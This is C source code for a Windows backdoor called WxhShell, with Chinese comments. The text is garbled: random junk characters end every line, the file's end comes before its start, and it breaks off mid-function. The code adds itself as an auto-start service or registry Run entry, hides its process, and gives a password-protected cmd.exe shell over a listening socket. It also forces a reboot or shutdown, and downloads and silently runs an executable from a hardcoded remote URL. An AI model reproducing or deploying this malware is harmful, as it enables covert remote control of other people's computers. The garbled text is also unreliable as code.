    else { 3`Dyrj#!  
    closesocket(wsh); {7.uwIW.1  
    ExitThread(0); c=aVYQ"2  
    } HpS1(%d"  
    break; ,15$$3z/E  
    } zS '{F>w  
  // 获取shell ! q+>'Mt  
  case 's': { ;iz3Bf1o  
    CmdShell(wsh); zC`ediyu  
    closesocket(wsh); e#@u&+K/f  
    ExitThread(0); f{U,kCv  
    break; ?f*>=;7=  
  } j-v/;7s/B  
  // 退出 #J~xKyJi'  
  case 'x': { ;}'Z2gZ B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q}uh`?t  
    CloseIt(wsh); !, {-q)'D  
    break; -BH T'zq1S  
    } \~.elKw<U  
  // 离开 uFL!* #A  
  case 'q': { @%!Gj{   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Hk?E0.  
    closesocket(wsh); y1#QP3'Z1  
    WSACleanup(); 2[Xe:)d  
    exit(1); 06I(01M1   
    break; USH>`3  
        } +1Pu29B0  
  } G$s=P  
  } g_?bWm4br  
}] . |7h  
  // 提示信息 A:*$rHbzl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k[\JT[Mp  
} .jl^"{@6  
  } !'-./LD")  
&Q t1~#1  
  return; R^rA.7T  
} ).jna`A,  
qot {#tk d  
// shell模块句柄 w[J.?v&^  
int CmdShell(SOCKET sock)  (Kj>Ao  
{ #-/_J?  
STARTUPINFO si; 4Yd$RP  
ZeroMemory(&si,sizeof(si)); |UN#utw{^Y  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A/.z. K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >Sm#-4B-  
PROCESS_INFORMATION ProcessInfo; Ca0t}`<S  
char cmdline[]="cmd"; i8.OM*[f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); i|fkwV,5  
  return 0; e r"gPW  
} `3.bux~  
C3b<Wa])  
// 自身启动模式 29NP!W /g  
int StartFromService(void) Hr/J6kyB)  
{ Z$S0X $q}  
typedef struct ;(IAhWE?7  
{  =h}PL22  
  DWORD ExitStatus; '>>@I~<\  
  DWORD PebBaseAddress; n;k B_i*l  
  DWORD AffinityMask; I bE Nq  
  DWORD BasePriority; jyC>~}?  
  ULONG UniqueProcessId; uN6xOq/  
  ULONG InheritedFromUniqueProcessId; uR82},r$m  
}   PROCESS_BASIC_INFORMATION; to)Pl}9QkK  
%Gm4,+8P3o  
PROCNTQSIP NtQueryInformationProcess; WiFZY*iu5  
>k(AQW5?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y|Y hDO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =GLMdhD]  
s_76)7  
  HANDLE             hProcess; I2C1mV  
  PROCESS_BASIC_INFORMATION pbi; ]v.Yt/&C{  
/!-ypIY  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e_Q(l'f  
  if(NULL == hInst ) return 0; AmcBu"  
"H}ae7@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #DcK{|ty  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cQh=Mri]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s$VLVT*6  
op|x~Thf  
  if (!NtQueryInformationProcess) return 0; ~q{QquYV  
<@=w4\5j9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,tuZ_"?M  
  if(!hProcess) return 0; ;T WYO  
1JN/oq;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %`:+A?zL  
k? =_p6>  
  CloseHandle(hProcess); G_?qY#"(  
'deqF|Iox  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zuvP\Y=V`  
if(hProcess==NULL) return 0; PSa"u5O  
%$F\o1S  
HMODULE hMod; sUsIu,1Q  
char procName[255]; V _pKe~  
unsigned long cbNeeded; 5@~5RNrq2  
LU@+O12  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n:YA4t7S  
DJHE6XJ   
  CloseHandle(hProcess); &r V  
H$]FUv8  
if(strstr(procName,"services")) return 1; // 以服务启动 8wA'a'V.  
sg,9{R ^  
  return 0; // 注册表启动 3<HPZWc  
} r;8$ 7C.  
P87qUC  
// 主模块 6Q9S~YYq  
int StartWxhshell(LPSTR lpCmdLine) Q |^c5  
{ b=Y3O  
  SOCKET wsl; )nUTux0K\  
BOOL val=TRUE; Y--Uo|H  
  int port=0; xsXf_gGu  
  struct sockaddr_in door; )"<:Md$7  
p\M\mK  
  if(wscfg.ws_autoins) Install(); y?{YQ)fj  
PWs=0.Wj  
port=atoi(lpCmdLine); R~(_m#6`:  
uJ/ &!q<3  
if(port<=0) port=wscfg.ws_port; Cg&cz]*q|  
-44''w?z  
  WSADATA data; <US!XMrCg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XJi^gT N  
-j"2rIl4#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5}2XnM2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); aD8r:S\  
  door.sin_family = AF_INET; x)o`w"]al  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ,]-A~^|  
  door.sin_port = htons(port); RDQK_Ef:  
A+F@JpV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XxE>KeP  
closesocket(wsl); n7K\\|X  
return 1; OAtn.LU  
} *|k/lI  
i fbO<  
  if(listen(wsl,2) == INVALID_SOCKET) { &(HIBF'O  
closesocket(wsl); q3R?8Mb  
return 1; kc70HrG  
} d512Y[ R  
  Wxhshell(wsl); z[ ml;?  
  WSACleanup(); J2~oIe2!+  
"+J[7p}`@  
return 0; w.\#!@kZ!  
4vRIJ}nQ  
} _D?`'zN  
Ie8jBf -  
// 以NT服务方式启动 fQOh%i9n5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) :i:M7}r  
{ IEW[VU)  
DWORD   status = 0; ?AJE*=b  
  DWORD   specificError = 0xfffffff; 0^rDf L  
*^P$^lm?S  
  serviceStatus.dwServiceType     = SERVICE_WIN32; t.WWahNyY  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w"K;e(S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4E DwZR>./  
  serviceStatus.dwWin32ExitCode     = 0; Qcr-|?5L  
  serviceStatus.dwServiceSpecificExitCode = 0; G[5z3  
  serviceStatus.dwCheckPoint       = 0; F%>`?NG+c  
  serviceStatus.dwWaitHint       = 0; 4I^8f||b_  
VCUEzR0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); A VbGJ+  
  if (hServiceStatusHandle==0) return; ygquQhf5  
h*\/{$y  
status = GetLastError(); eC41PQ3=1'  
  if (status!=NO_ERROR) YE\s<$  
{ |*WE@L5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; IQ"9#{o  
    serviceStatus.dwCheckPoint       = 0; !o&b:7  
    serviceStatus.dwWaitHint       = 0; gnN"pa!&~  
    serviceStatus.dwWin32ExitCode     = status; s4{WPU9  
    serviceStatus.dwServiceSpecificExitCode = specificError; JgY#W1>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); :Pf2oQ  
    return; &*wc` U  
  } Da"GYEC  
+_LWN8F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W{v-(pW  
  serviceStatus.dwCheckPoint       = 0; ;J3 (EB  
  serviceStatus.dwWaitHint       = 0; t!,GI&  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c*#*8R9.y  
} @d86l.=  
}hv" ku6!  
// 处理NT服务事件,比如:启动、停止 '+ cPx\4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) THbV],RhJ  
{ q!P{a^Fnc  
switch(fdwControl) 5?n@.hcL  
{  rVo?I  
case SERVICE_CONTROL_STOP: NYcF]K}[  
  serviceStatus.dwWin32ExitCode = 0; R59'KR2?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 52JtEt7E  
  serviceStatus.dwCheckPoint   = 0; #ig* !  
  serviceStatus.dwWaitHint     = 0; <^(g<B`>  
  { &.}Z j*BD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tX#8 G09G+  
  } .[KXO0Ui6u  
  return; {g(-C&  
case SERVICE_CONTROL_PAUSE: _<i*{;kR6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; # U j~F  
  break; 7xmif YC  
case SERVICE_CONTROL_CONTINUE: #c:b8rw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ZBAtRs  
  break; APA:K9jD  
case SERVICE_CONTROL_INTERROGATE: ;<=B I!  
  break; ~'9>jpnw  
}; Ev7fvz =  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \.%GgTF  
} Ce0YO~I  
*U=%W4?W  
// 标准应用程序主函数 mt(2HBNoz  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qOk=:1`3  
{ 3'zm)SXJ  
It/IDPx4ga  
// 获取操作系统版本 r g$2)z1  
OsIsNt=GetOsVer(); +/E yX =  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E5J2=xVW#  
G*;6cV19  
  // 从命令行安装 eJ23$VM+9  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cg! ]x o  
h NCoX*icd  
  // 下载执行文件 XeT{y]lkd  
if(wscfg.ws_downexe) { &m>sGCZ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?$#,h30  
  WinExec(wscfg.ws_filenam,SW_HIDE); (7qdrAeP  
} ?{ 0MF  
{yPiBu  
if(!OsIsNt) { /=bg(?nX  
// 如果时win9x,隐藏进程并且设置为注册表启动 CI )89`  
HideProc(); xC,;IS k,  
StartWxhshell(lpCmdLine); d;$<K  
} <+oTYPgD9  
else ?{O >&<~  
  if(StartFromService()) 2-<i#nA3  
  // 以服务方式启动 J~jR`2+r  
  StartServiceCtrlDispatcher(DispatchTable); %fyah}=  
else /bd1Bi  
  // 普通方式启动 >;A7mi/  
  StartWxhshell(lpCmdLine); u#l@:p  
8sG0HI$f+  
return 0; rI E m  
} TvzqJ=  
1eZ759PoO  
VHlN;6Qlff  
-W:te7  
=========================================== ,L"1Ah  
h!L/ZeRaV  
AMhHq/Dw  
/ ao|v  
!Deg!f\g  
}op0`-Xb  
" yR Zb_Mq9U  
tC,R^${#  
#include <stdio.h> 5Cp6$V|/kv  
#include <string.h> !Cpy )D(  
#include <windows.h> x@ZxV*T^  
#include <winsock2.h> kyFq  
#include <winsvc.h> R4V~+tnbG&  
#include <urlmon.h> v?U;o&L(  
g(i_di  
#pragma comment (lib, "Ws2_32.lib") ugwZAC  
#pragma comment (lib, "urlmon.lib") XRMYR97  
{F/0pvP9  
#define MAX_USER   100 // 最大客户端连接数 ,p,$(V  
#define BUF_SOCK   200 // sock buffer _^2rRz  
#define KEY_BUFF   255 // 输入 buffer o-))R| ~z  
8 pQx6QE  
#define REBOOT     0   // 重启 \C )S3!h  
#define SHUTDOWN   1   // 关机 ?4kM5NtP  
t@`w}o[#  
#define DEF_PORT   5000 // 监听端口 _i=431Z40  
DaV:Slp9  
#define REG_LEN     16   // 注册表键长度 W]]@pbG"H\  
#define SVC_LEN     80   // NT服务名长度 NEpomE(>x  
]}wo$7pO  
// 从dll定义API }'y=JV>l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);   pE<@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); b=5"*=T{+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |bwz  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lad8C  
vbo:,]T<A  
// wxhshell配置信息 9\_^"5l  
struct WSCFG { ne=?'e4  
  int ws_port;         // 监听端口 _NfdJ=[Xh  
  char ws_passstr[REG_LEN]; // 口令 \lJCBb+k  
  int ws_autoins;       // 安装标记, 1=yes 0=no w&vZ$n-|  
  char ws_regname[REG_LEN]; // 注册表键名 m M> L0  
  char ws_svcname[REG_LEN]; // 服务名 5@YrtZI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }, < dGmkx  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @2Lp I*]C  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s\)0f_I  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zPonG d1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LRJY63A  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "G^Z>Z-`  
E^)>9f7  
}; JH4hy9i  
m~[4eH,  
// default Wxhshell configuration i;u#<y{E  
struct WSCFG wscfg={DEF_PORT, *Vbf ;=Mb  
    "xuhuanlingzhe", VO (KQx  
    1, }=dUASL  
    "Wxhshell", 59Lv/Mfy  
    "Wxhshell", Dsl,(qm5  
            "WxhShell Service", 4@iMGYR9!s  
    "Wrsky Windows CmdShell Service", MY8[)<q"  
    "Please Input Your Password: ", Q"6:W2#v  
  1, S2TyNZbQ  
  "http://www.wrsky.com/wxhshell.exe", x6i7x"  
  "Wxhshell.exe" M+7&kt0;  
    }; A5UZUU^  
\gBsAZE  
// 消息定义模块 @O!BQ^'hk#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;qA(!`h+  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~o_zV'^f@o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?5N7,|K)  
char *msg_ws_ext="\n\rExit."; Hwz.5hV"  
char *msg_ws_end="\n\rQuit."; eHQS\n  
char *msg_ws_boot="\n\rReboot..."; t",=]k  
char *msg_ws_poff="\n\rShutdown...";  iI!MF1  
char *msg_ws_down="\n\rSave to "; St1Ny,$yU  
w$XqxI/&  
char *msg_ws_err="\n\rErr!"; >@g+%K]  
char *msg_ws_ok="\n\rOK!"; HX;JO[0  
\E(Negt7  
char ExeFile[MAX_PATH]; ` XvuyH  
int nUser = 0; n=z=%T6  
HANDLE handles[MAX_USER]; Ft<6`C  
int OsIsNt; %4=r .9  
U<YP@?w  
SERVICE_STATUS       serviceStatus; \aEarIX#*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AHo4% 5  
?M}W ;Z  
// 函数声明 jkVX>*.|oy  
int Install(void); Y<]A 5cm  
int Uninstall(void); $QNII+o  
int DownloadFile(char *sURL, SOCKET wsh); ^$N}[1   
int Boot(int flag); U,tl)(!@Q-  
void HideProc(void); W Ai91K@  
int GetOsVer(void); d)R7#HLZ7  
int Wxhshell(SOCKET wsl); CeZ+!-lG  
void TalkWithClient(void *cs); Y"n$d0%  
int CmdShell(SOCKET sock); 1edeV48{:  
int StartFromService(void); IO@Ti(,  
int StartWxhshell(LPSTR lpCmdLine); &y} ]^wB  
^$!H|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); TtWE:xE  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  dcd9AW=  
+Fk]hCL  
// 数据结构和表定义 {:63% j  
SERVICE_TABLE_ENTRY DispatchTable[] = iI]E%H}  
{ I+!?~]AUuq  
{wscfg.ws_svcname, NTServiceMain}, 5x2m ]u  
{NULL, NULL} N!{waPbPi  
}; ,\DSi&T  
!,(6uO%  
// 自我安装 8mmHefZ}2!  
int Install(void) J7RO*.O&Iq  
{ ![ce=9@t<  
  char svExeFile[MAX_PATH]; [X\<C '<  
  HKEY key; ~+~^c|  
  strcpy(svExeFile,ExeFile); )B!64'|M  
F?!X<N{  
// 如果是win9x系统,修改注册表设为自启动 gG,"wzj  
if(!OsIsNt) { ndXUR4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RT~6#Caf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); MYlPG1X=?  
  RegCloseKey(key); 2Hp<(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A.v'ws+VDP  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Fv )H;1V  
  RegCloseKey(key); s"xiGp9  
  return 0; )HL[_WfY  
    } Mb1K:U  
  } NbyXi3@v  
} ;bMmJ>[l-  
else { `{B<|W$=  
W]-c`32~S  
// 如果是NT以上系统,安装为系统服务 vJ a?5Jr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *#| lhf'  
if (schSCManager!=0) VGVb3@  
{ ImG7E w  
  SC_HANDLE schService = CreateService jgyXb5GY  
  ( skeXsls  
  schSCManager, H!81Pq~  
  wscfg.ws_svcname, V49[XX  
  wscfg.ws_svcdisp, p(8[n^~,i  
  SERVICE_ALL_ACCESS, "%?$BoJR0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S_|VlI  
  SERVICE_AUTO_START, g{U?Y"  
  SERVICE_ERROR_NORMAL, 1M<;}hJ{/  
  svExeFile, ~\QN.a   
  NULL, )/Mk\``j  
  NULL, 5i eF8F%  
  NULL, OngUZMgdb  
  NULL, ^rX5C2}G\D  
  NULL }TDoQ]P  
  ); C}D\^(nLu.  
  if (schService!=0) B']}n`g  
  { "Ei' FM  
  CloseServiceHandle(schService); BM+>.  
  CloseServiceHandle(schSCManager); {I9<W'k{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i\yp(tE%^  
  strcat(svExeFile,wscfg.ws_svcname); OV+|j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { g4U`Qf3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bPL.8hX   
  RegCloseKey(key); U~l.%mui  
  return 0; b&_u+g  
    } -nL!#R{e  
  } X[;-SXq  
  CloseServiceHandle(schSCManager); d+iV19#i  
} +)06*"I  
} ./r#\X)dc  
8IQqDEY^  
return 1; -NL=^O$G  
} y/\0qQ/  
P6 ~& ,a  
// 自我卸载 5W4Tp% Lda  
int Uninstall(void) }n;.E&<[  
{ Y2&hf6BE  
  HKEY key; } >z l  
&f_ua)cyY  
if(!OsIsNt) { ` & {  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /8Xd2-  
  RegDeleteValue(key,wscfg.ws_regname); <3WaFi u  
  RegCloseKey(key); rT/4w#_3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YX,xC-37y  
  RegDeleteValue(key,wscfg.ws_regname); mzH3Q564  
  RegCloseKey(key); :3 p&h[M  
  return 0; @Z[XV"w|  
  } k>W}9^ cK  
} & Do|Hw  
} #}8 x  
else { [`/d$V!e  
%;-r->  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); L`@)*x)~R  
if (schSCManager!=0) 71wtO  
{ Zf *DC~E_  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u7G9 eN  
  if (schService!=0) f)9{D[InM^  
  { ZD`p$:pT  
  if(DeleteService(schService)!=0) { RuBL_Vi  
  CloseServiceHandle(schService); 7Pp~)Kq=  
  CloseServiceHandle(schSCManager); &l;wb.%ijW  
  return 0; _2p D  
  } K!A;C#b!  
  CloseServiceHandle(schService); (+w.?l  
  } {Ip)%uR  
  CloseServiceHandle(schSCManager); g(-}M`  
} s& Lyg>>`  
} w7"&\8a  
88~ lP7J  
return 1; 3^2P7$W=   
} s{@3G8  
^^ +vt8|  
// 从指定url下载文件 sA1 XtO<&7  
int DownloadFile(char *sURL, SOCKET wsh) 2 i:tPe&  
{ $?Z-BD1  
  HRESULT hr; ,Jqk0cW2  
char seps[]= "/"; E*]%@6tH  
char *token; i8 fUzg)  
char *file; +~l`rJ  
char myURL[MAX_PATH]; @(I)]Ca%O  
char myFILE[MAX_PATH]; snti*e4"V  
Rf0F`D k  
strcpy(myURL,sURL); }&qr"z4  
  token=strtok(myURL,seps); z>9gt  
  while(token!=NULL) %LZ-i?DL4Q  
  { 3lG=.yD  
    file=token; !^_G~`r$2J  
  token=strtok(NULL,seps);  Zzea  
  } y_A7CG"^  
NI)q<@ju  
GetCurrentDirectory(MAX_PATH,myFILE); a,~}G'U  
strcat(myFILE, "\\"); n}!D)Gx  
strcat(myFILE, file); 03^?+[C  
  send(wsh,myFILE,strlen(myFILE),0); e}bY 9  
send(wsh,"...",3,0); r>.^4Z@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Y&y5^nG  
  if(hr==S_OK) 6fcn(&Qk  
return 0; [&H?--I  
else +E8}5pDt  
return 1; e_z"<yq  
:j4i(qcF  
} q A?j-H  
01AzM)U3"m  
// 系统电源模块 DY'1#$;  
int Boot(int flag) * u{CnH  
{ :^ *9E b  
  HANDLE hToken; M-+pYv#&P  
  TOKEN_PRIVILEGES tkp; ~vv\A5O[|  
QJKVNOo  
  if(OsIsNt) { mvrg!/0w  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Yh 9fIRR  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D`fi\A  
    tkp.PrivilegeCount = 1; & GM&,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vddh 2G  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BBUXoz  
if(flag==REBOOT) { i=DoK{`L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \[F4ooe  
  return 0; Ey**j  
} qw mZOR#  
else { o])2_e5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F2k)hG*|{  
  return 0; +'fdAc:5',  
} 3G9AS#-C  
  } ?Rg8u  
  else { ~n $e  
if(flag==REBOOT) { Bvy(vc=UDW  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q"%;),@  
  return 0; "i3Q)$"S  
} FdVWj 5 $a  
else { +5C*i@v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )Og,VXEB  
  return 0; KtY_m`DY4R  
} ecl$z6'c  
} IsjD-t  
\/ 8 V|E  
return 1; Gkq<?q({t  
} d}e/f)(  
2gC.Z:}  
// win9x进程隐藏模块 tE>hj:p  
void HideProc(void) KXy|Si8w  
{ ob3Z I  
l|onH;g\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {V{*rq<)  
  if ( hKernel != NULL ) K;}h u(*\]  
  { |Y42ZOK0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); SOPQg?'n=V  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %`Q<_LTU  
    FreeLibrary(hKernel); -A A='s  
  } Axtf,x+lH  
,0=@cJ  
return; m+Bt9|d  
} beM}({:`  
{V)Z!D  
// 获取操作系统版本 ctg[C$<q|  
int GetOsVer(void) pdQ6/vh  
{ .sk$@Q  
  OSVERSIONINFO winfo; 5I(gP  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); TXlxnB  
  GetVersionEx(&winfo); Uhz<B #tj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) P{!r<N  
  return 1; c>*RQ4vE  
  else  ou[_ y  
  return 0; <r%QaQRbm  
} s)~6 0c  
'[h|f  
// 客户端句柄模块 X)K3X:~L+  
int Wxhshell(SOCKET wsl) 5YG?m{hyn_  
{ f/:XIG  
  SOCKET wsh; =Qcz:ng  
  struct sockaddr_in client; {t;{={$  
  DWORD myID; XNU[\I  
v!pT!(h4  
  while(nUser<MAX_USER) p^U:O&U(  
{ 2@ <x%T  
  int nSize=sizeof(client); N?'V,p 0=  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Z ?{;|Z5  
  if(wsh==INVALID_SOCKET) return 1; b%fn1Ag9  
aiKZ$KLC  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |W/_S^C  
if(handles[nUser]==0) ci@U a}T  
  closesocket(wsh); m-Uq6_e  
else LI&+5`  
  nUser++; o!3-=<^  
  } YAIDSZ&l[  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U[a;e OLx  
GCUzKf&  
  return 0; _:,:U[@Vz  
} l(T CF  
8W]6/st?]  
// 关闭 socket 0.~Pzg  
void CloseIt(SOCKET wsh) w6fVZY4  
{ >HUU`= SC  
closesocket(wsh); \I@=EF- &  
nUser--; 5Z7<X2  
ExitThread(0); N%A[}Y0;MW  
} \V|\u=@H  
_d'x6$Jg  
// 客户端请求句柄 24)3^1P\V  
void TalkWithClient(void *cs) D! 1oYr  
{ E0<9NF Qr7  
aMSX"N"ot  
  SOCKET wsh=(SOCKET)cs; D-/K'|b  
  char pwd[SVC_LEN]; 6BihZ|H04  
  char cmd[KEY_BUFF]; X;7gh>Q'4  
char chr[1]; &cSTem 0  
int i,j; 4dXuy>Km  
2z7+@!w/  
  while (nUser < MAX_USER) { );wSay>%(  
^1vh5D  
if(wscfg.ws_passstr) { @N,EoSb :  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :t6 w+h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5'/Ney9N  
  //ZeroMemory(pwd,KEY_BUFF); SsDe\"?Q  
      i=0; ThX%Uzd"[;  
  while(i<SVC_LEN) { F#X&Tb{  
-bo5/`x  
  // 设置超时  eU"!X9  
  fd_set FdRead;  $&96qsr  
  struct timeval TimeOut; 0sv#* &0=  
  FD_ZERO(&FdRead); ;^}gC}tq  
  FD_SET(wsh,&FdRead); FY [WdZDZ  
  TimeOut.tv_sec=8; uoYG@L2  
  TimeOut.tv_usec=0; Cg/L/0Ak  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); zo-hH8J:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Bf$YwoZov  
Vf#X[$pc/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,~-"EQT  
  pwd=chr[0]; 8F(lW)An  
  if(chr[0]==0xd || chr[0]==0xa) { ,BCtNt(  
  pwd=0; F$UvYy4O d  
  break; ,YYyFMC7S  
  } XO+^q9  
  i++; l+'@y (}Q  
    } K14e"w%6rs  
.(OFYK<  
  // 如果是非法用户,关闭 socket Gpws_ jw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d0y [:  
} CA)DQYp{  
"P<IQx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); gnW `|-:\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <=A1d\   
kh /n|2  
while(1) { O(8Px  
5:%xuJD  
  ZeroMemory(cmd,KEY_BUFF); 37DyDzW)'  
5A,@$yp+  
      // 自动支持客户端 telnet标准   W3s>+yU  
  j=0; V?Y;.n&y  
  while(j<KEY_BUFF) { "d60IM#N?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hA.?19<Z  
  cmd[j]=chr[0]; Vu '3%~  
  if(chr[0]==0xa || chr[0]==0xd) { xJtblZ1sr  
  cmd[j]=0; :?%$={m  
  break; Hn5:*;N  
  } ]a )o@FI  
  j++; 7F OG^  
    } oa(R,{_*q  
nqNL[w6{  
  // 下载文件 *HFRG)[V  
  if(strstr(cmd,"http://")) { q~68)D(  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); CM+Nm(|\,  
  if(DownloadFile(cmd,wsh)) T u>5H`  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DT`TA#O  
  else 5qzFH,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .}n%gc~A  
  } G. Z:00x  
  else { <rZ( B>$  
K' xN>qc  
    switch(cmd[0]) { 9P;}P! W  
  xT7JGQ[|  
  // 帮助 P` Hxj> {  
  case '?': { InnjZ>$  
